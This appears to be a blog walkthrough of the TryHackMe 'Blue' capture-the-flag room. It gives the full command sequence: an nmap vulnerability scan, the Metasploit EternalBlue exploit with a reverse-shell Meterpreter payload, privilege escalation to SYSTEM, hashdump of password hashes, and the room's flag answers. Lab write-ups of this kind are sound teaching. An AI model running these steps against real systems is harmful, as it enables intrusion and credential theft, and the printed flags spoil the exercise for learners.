Blue walkthrough (THM)

(Beginner’s friendly CTF)

Here’s a complete command walkthrough for the TryHackMe “Blue” room, including Metasploit & Meterpreter steps to gain and escalate access. Follow these step-by-step and you’ll achieve SYSTEM on the target.

1. Reconnaissance & Enumeration

First, discover open ports and vulnerabilities — especially SMB:

export IP=10.10.XX.XX                  # set target IP
sudo nmap -sV -sC --script vuln -p- $IP -oN blue_nmap.txt

Look for open 135, 139, 445 and smb-vuln-ms17-010: VULNERABLE (CVE-2017-0143)

2. Launch Metasploit & Select Exploit

Start Metasploit and locate the EternalBlue module:

sudo msfconsole
msf6> search ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue

3. Configure Exploit Options

Check required parameters:

msf6> show options

Set target and payload:

msf6> set RHOSTS $IP
msf6> set LHOST tun0            # or your local IP
msf6> set payload windows/x64/meterpreter/reverse_tcp

4. Run Exploit & Get Initial Shell

Execute the exploit:

msf6> exploit

If successful, you’ll see:

Meterpreter session 1 opened...

5.Upgrade Shell to Meterpreter

If instead you received a basic shell, background it:

Ctrl+Z
msf6> use post/multi/manage/shell_to_meterpreter
msf6> set SESSION <session_ID 1>
msf6> set LHOST tun0
msf6> run

Then resume the session:

msf6> sessions -i 1

6. Escalate to SYSTEM

Within Meterpreter, confirm and elevate privileges:

meterpreter> getsystem
meterpreter> getuid

They should indicate NT AUTHORITY\SYSTEM

7. Migrate to Stable Process (Optional)

To maintain stability:

meterpreter> ps
meterpreter> migrate 2480     

8. Dump Password Hashes

Extract user hashes:

meterpreter> hashdump

Copy output to a file jon_hash.txt:

echo "<hash_line>" > jon_hash.txt

9. Crack the Hash

Use Crackstation to the crack the hash and find the flag

10. 🎯 Capture Flags

Search and locate system flags
The first flag will be found in system root cd / we can type it will take us to root that c:// and type command ls then we can find out the flag1

Get The Commoness’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The second flag all the windows password will be stored in the sam file so we can search the path on google and go back to linux type cd “path of the file” we found the second flag (hint for faster search we can use command “search -f filename”)

The third flag first type ls >> cd Users (to find out admins users ) >> ls >> cd Jon >> cd Documents>>ls>> cat flag3.txt

If incase you’re session died then rerun then type sessions and next type sessions 11

meterpreter> cd c:\\ 
meterpreter> cat flag1.txt            
meterpreter> cd c:\\windows\\system32\\config
meterpreter> cat flag2.txt            
meterpreter> cd c:\\Users\\Jon\\Documents
meterpreter> cat flag3.txt            

Flags:

• flag{access_the_machine}
• flag{sam_database_elevated_access}
• flag{admin_documents_can_be_valuable}

Also you can connect me on Linkedin :https://www.linkedin.com/in/roshini-m-lakshmana-b51ab3243/

If you found this helpful, please give it a clap,comment or repost where it might benefit others .It helps more people discover & learn from this series.